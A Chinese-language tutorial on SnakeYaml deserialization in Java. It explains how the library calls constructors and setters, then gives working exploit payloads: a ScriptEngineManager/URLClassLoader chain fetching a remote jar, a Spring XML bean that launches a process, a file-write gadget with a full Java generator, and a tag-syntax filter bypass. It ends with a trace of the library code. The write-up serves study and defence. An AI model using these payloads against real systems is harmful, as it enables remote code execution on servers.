SnakeYaml
0x01 What Is SnakeYaml
SnakeYaml是一个完整的YAML1.1规范Processor,用于解析YAML,序列化以及反序列化,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
0x02 Best Practice
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
两个方法:
Yaml.load():入参是一个字符串或者一个文件,返回一个Java对象
Yaml.dump():将一个对象转化为yaml文件形式
package com.snake.demo;
public class User {
private String name;
public int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public User() {
System.out.println("Non Arg Constructor");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
@Override
public String toString() {
return "I am " + name + ", " + age + " years old";
}
}
dump
User user = new User("taco", 18);
Yaml yaml = new Yaml();
System.out.println(yaml.dump(user));
打印结果:
getName
!!com.snake.demo.User {age: 18, name: taco}
!!用于强制类型转换,与fastjson中@type字段类似
dump()
还调用了非public成员的getter
load
String s = "!!com.snake.demo.User {age: 18, name: taco}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);
Non Arg Constructor
setName
I am taco, 18 years old
load()
调用了无参构造器和非public成员的setter
实际上不仅无参构造器能够调用,还能指定调用有参构造器,只要传参类型为有参构造器的参数类型即可。
String s = "!!com.snake.demo.User [\"taco\", 18]";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);
Arg Constructor Called
I am taco, 18 years old
此时就不会调用setter
方法了
若类属性是public修饰,不会调用对应的setter方法,而是通过反射来set
0x03 Way To Attack
yaml反序列化时通过!!
+ 全类名指定反序列化的类,和fastjson一样都会调用setter,不过对于public修饰的成员不会调用其setter,除此之外,snakeyaml反序列化时还能调用该类的构造函数(fastjson是通过ASM生成的)。
ScriptEngineManager
构造ScriptEngineManager
payload,利用SPI机制通过URLClassLoader
远程加载恶意字节码文件。
Github上面的EXP:https://github.com/artsploit/yaml-payload
工具的工程classpath下存在META-INF/services
文件夹
javax.script.ScriptEngineFactory
artsploit.AwesomeScriptEngineFactory
打成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
将生成yaml-payload.jar包放在web服务上
python -m http.server 9999
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"] ]] ]
下面来看一下触发流程
javax.script.ScriptEngineManager
ScriptEngineManager
的无参构造器调用了init(),进行初始化设置后调用initEngines()
,用于初始化脚本引擎。
接着到getServiceLoader
,用于获取ServiceLoader
迭代器
到了熟悉的ServiceLoader.load()
返回一个ServiceLoader<T>
,根据这个可以获取一个迭代器,接下来还是熟悉的迭代遍历。
next() => nextService()
会加载接口实现类并实例化,在SPI那节已经介绍过了。
SpringFramework远程加载配置
Spring当中有两个类的构造函数远程加载配置,可以构成RCE
org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8888/evil.xml"]
既然能触发getter,那么fastjson的大部分payload也可以用。
写文件加载本地jar
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },length]]
filepath是写入路径,base64str为经过zlib压缩过后的文件内容,length为文件大小
和fastjson一样,对于byte数组会自动进行base64解码(snakeyaml中为binary)
import com.sun.org.apache.xml.internal.security.utils.JavaUtils;
import org.yaml.snakeyaml.Yaml;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlFilePOC {
public static void main(String[] args) throws IOException {
String poc = createPoc("E:/flag.txt", "E:/a.txt");
System.out.println(poc);
// Yaml yaml = new Yaml();
// yaml.load(poc);
}
public static String createPoc(String src, String path) throws IOException {
byte[] file = JavaUtils.getBytesFromFile(src);
int length = file.length;
byte[] compressed = compress(file);
String b64 = Base64.getEncoder().encodeToString(compressed);
String payload = "!!sun.rmi.server.MarshalOutputStream " +
"[!!java.util.zip.InflaterOutputStream [" +
"!!java.io.FileOutputStream [" +
"!!java.io.File [\"" + path + "\"],false]," +
"!!java.util.zip.Inflater { input: !!binary " + b64 + " }, " + length +
"]]";
return payload;
}
public static byte[] compress(byte[] input) throws IOException {
Deflater deflater = new Deflater();
deflater.setInput(input);
deflater.finish();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
while (!deflater.finished()) {
int compressedSize = deflater.deflate(buffer);
outputStream.write(buffer, 0, compressedSize);
}
outputStream.close();
return outputStream.toByteArray();
}
}
既然可以写文件,那就把jar写入目标环境,然后再通过URLClassloader本地加载
Yaml yaml = new Yaml();
String poc = createPoc("./yaml-payload.jar", "E:/evil.jar");
yaml.load(poc);
String s = "!!javax.script.ScriptEngineManager [\n" +
"!!java.net.URLClassLoader [[\n" +
"!!java.net.URL [\"file:///E:/evil.jar\"]\n" +
"]]\n" +
"]";
yaml.load(s);
0x04 Yaml#load()
public <T> T load(String yaml) {
return (T) loadFromReader(new StreamReader(yaml), Object.class);
}
payload存储于StreamReader的stream字段
回到loadFromReader()
,创建了一个Composer对象,并封装到constructor
中
private Object loadFromReader(StreamReader sreader, Class<?> type) {
Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);
constructor.setComposer(composer);
return constructor.getSingleData(type);
}
跟进getSingleData
getSingleNode()
将poc改造为如下:
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9999/yaml-payload.jar)>])>])>])>])>
若过滤了!!
,可利用此tag规则进行绕过
!tag:yaml.org,2002:javax.script.ScriptEngineManager [!tag:yaml.org,2002:java.net.URLClassLoader [[!tag:yaml.org,2002:java.net.URL ["http://ip/yaml-payload.jar"]]]]
接着调用constructDocument()
对上面poc进行处理
跟进constructObject()
=> constructObjectNoCheck()
node放入recursiveObjects
,进入constructor.construct(node)
遍历节点,调用constructObject()
又循环回去了
constructObjectNoCheck()->
BaseConstructor#construct()->
Contructor#construct()->
递归Contructor#constructObject()
上面的POC有5个node,所以循环5次。
先后进行了URL、URLClassLoader、ScriptEngineManager的实例化
注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。
最后进入ScriptEngineManager的无参构造器,连接上了上文的SPI机制。
Article To Learn
Last updated
Was this helpful?